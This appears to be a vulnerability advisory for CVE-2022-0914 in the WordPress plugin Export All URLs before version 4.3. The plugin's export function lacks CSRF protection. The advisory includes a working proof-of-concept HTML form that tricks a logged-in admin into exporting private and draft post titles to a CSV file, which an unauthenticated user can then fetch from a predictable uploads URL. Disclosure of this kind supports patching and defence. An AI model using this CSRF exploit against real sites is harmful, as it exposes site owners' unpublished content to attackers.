Export All URLs < 4.3 – Private/Draft Post/Page Title Disclosure via CSRF | CVE 2022-0914

Description

The plugin does not have CSRF in place when exporting data, which could allow attackers to make a logged in admin export all posts and pages (including private and draft) into an arbitrary CSV file, which the attacker can then download and retrieve the list of titles for example

Proof of Concept

Make a logged in admin open

<html>
  <body>
    <form action="https://example.com/wp-admin/tools.php?page=extract-all-urls-settings" method="POST">
      <input type="hidden" name="post-type" value="any" />
      <input type="hidden" name="additional-data[]" value="title" />
      <input type="hidden" name="post-status" value="all" />
      <input type="hidden" name="posts-from" value="" />
      <input type="hidden" name="posts-upto" value="" />
      <input type="hidden" name="post-author" value="all" />
      <input type="hidden" name="number-of-posts" value="all" />
      <input type="hidden" name="starting-point" value="" />
      <input type="hidden" name="ending-point" value="" />
      <input type="hidden" name="csv-file-name" value="via-csrf" />
      <input type="hidden" name="export-type" value="text" />
      <input type="hidden" name="export" value="Export Now" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then open https://example.com/wp-content/uploads/2022/03/via-csrf.CSV as an unauthenticated user